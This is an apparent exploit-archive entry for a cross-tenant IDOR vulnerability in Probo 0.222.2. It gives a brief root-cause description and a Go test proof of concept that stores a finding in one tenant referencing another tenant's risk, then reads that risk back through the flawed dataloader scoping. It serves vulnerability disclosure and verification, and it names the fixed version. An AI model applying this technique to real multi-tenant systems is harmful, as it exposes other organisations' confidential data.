Skip to main content

Probo 0.222.2 – IDOR

Categories: WebApps

Probo 0.222.2 – IDOR

Proof of Concept (PoC)

payload.sql
# Exploit Title: Probo 0.222.2 - IDOR 

# Date: 2026-07-17

# Exploit Author: Pig-Tail (Jorge González Milla)

# Vendor Homepage: https://github.com/getprobo/probo 

# Software Link: https://github.com/getprobo/probo 

# Version: <= 0.222.2 (fixed 0.223.1)

# Tested on: Linux

# CVE: CVE-2026-63505

# Category: webapps

# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-63505-probo 



Finding.riskId / ProcessingActivity.dataProtectionOfficerId are stored without a tenant-scoped load, and the read resolver authorizes the parent while the dataloader scopes by the child's own GID -> cross-tenant read. Advisory: GHSA-c74x-79w6-63jh. NOTE: PoC is a Go test using embedded-postgres.



The PoC is a benign, local verification harness (sentinel-based; no network attack, no

persistence, no destructive payload). Run against a local instance of the affected version.



--- PoC (idor_test.go) ---

package idorpoc



import (

"context"

"fmt"

"testing"

"time"



" http://github.com/stretchr/testify/require "

" http://go.gearno.de/kit/pg "

" http://go.probo.inc/probo/internal/test "

" http://go.probo.inc/probo/pkg/coredata "

" http://go.probo.inc/probo/pkg/gid "

)



// TestFindingRiskCrossTenantIDOR is a benign, runtime PoC for the cross-tenant

// IDOR in the Finding->Risk relation (console v1):

//   - Write gap: http://FindingService.Create/Update  (finding_service.go:147,248) store

//     req.RiskID with no scoped validation; coredata Finding.Insert has no tenant

//     FK on risk_id. => an org-A finding can reference an org-B risk.

//   - Read gap: findingResolver.Risk (audit_resolvers.go:303) authorizes the

//     *finding* (org A), then the dataloader (dataloader.go:223) scopes by the

//     *risk's own GID* (NewScopeFromObjectID) => returns the org-B risk.

// Benign marker: a sentinel risk name created in org B is read back through the

// org-B-scoped load that the resolver uses.

func mkOrg(t *testing.T, client *pg.Client) (gid.TenantID, gid.GID, *coredata.Scope) {

t.Helper()

tenantID := gid.NewTenantID()

orgID := gid.New(tenantID, coredata.OrganizationEntityType)

now := time.Now()

err := client.WithTx(context.Background(), func(ctx context.Context, tx pg.Tx) error {

_, err := tx.Exec(ctx,

`INSERT INTO organizations (id, tenant_id, name, created_at, updated_at) VALUES ($1,$2,$3,$4,$5)`,

orgID.String(), tenantID.String(), "org-"+orgID.String(), now, now)

return err

})

require.NoError(t, err)

return tenantID, orgID, coredata.NewScope(tenantID)

}



func TestFindingRiskCrossTenantIDOR(t *testing.T) {

client := test.PGClient(t)

ctx := context.Background()



tenantA, orgA, scopeA := mkOrg(t, client)

tenantB, orgB, scopeB := mkOrg(t, client)

_ = tenantA



const sentinel = "SECRET-ORG-B-RISK-do-not-disclose"

riskB := &coredata.Risk{

ID: gid.New(tenantB, coredata.RiskEntityType), OrganizationID: orgB,

Name: sentinel, Category: "confidential", Treatment: coredata.RiskTreatmentMitigated,

Note: "internal", InherentLikelihood: 3, InherentImpact: 3,

ResidualLikelihood: 2, ResidualImpact: 2, CreatedAt: time.Now(), UpdatedAt: time.Now(),

}

require.NoError(t, client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error {

return riskB.Insert(ctx, tx, scopeB)

}), "seed org-B risk")



// --- WRITE GAP: create a finding in org A referencing org B's risk ---

findingA := &coredata.Finding{

ID: gid.New(tenantA, coredata.FindingEntityType), OrganizationID: orgA,

Kind: coredata.FindingKindObservation, Status: coredata.FindingStatusOpen,

Priority: coredata.FindingPriorityMedium,

RiskID:   &riskB.ID, // <-- cross-tenant risk id, attacker-supplied via CreateFindingInput.riskId

CreatedAt: time.Now(), UpdatedAt: time.Now(),

}

writeErr := client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error {

return findingA.Insert(ctx, tx, scopeA) // scope = org A, exactly as FindingService.Create does

})

require.NoError(t, writeErr, "WRITE GAP: org-A finding must NOT be allowed to reference org-B risk, but Insert succeeded")

t.Logf("WRITE GAP confirmed: org-A finding %s stored risk_id=%s (org B)", findingA.ID, riskB.ID)



// --- READ GAP: the dataloader scopes by the risk's OWN gid (org B) ---

loaded := &coredata.Risk{}

readErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error {

// exactly what dataloader.fetchRisks does: scope := NewScopeFromObjectID(riskGID)

return loaded.LoadByID(ctx, conn, coredata.NewScopeFromObjectID(riskB.ID), riskB.ID)

})

require.NoError(t, readErr, "READ GAP: risk should not be loadable by an org-A request")

require.Equal(t, sentinel, loaded.Name)

t.Logf("READ GAP confirmed: org-A request read org-B risk name=%q via NewScopeFromObjectID(risk.gid)", loaded.Name)



// --- CONTRAST: proper org-A scoping would NOT find org-B's risk ---

contrast := &coredata.Risk{}

cErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error {

return contrast.LoadByID(ctx, conn, scopeA, riskB.ID) // org-A tenant scope

})

require.Error(t, cErr, "CONTRAST: org-A-scoped load of org-B risk must fail (proves the scope-from-key choice IS the bug)")

fmt.Printf("n=== CROSS-TENANT IDOR CONFIRMED ===norg-A finding referenced org-B risk (write gap) AND org-B risk %q was disclosed via risk-gid scope (read gap); org-A-scoped load correctly failed (%v)n", sentinel, cErr)

}

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...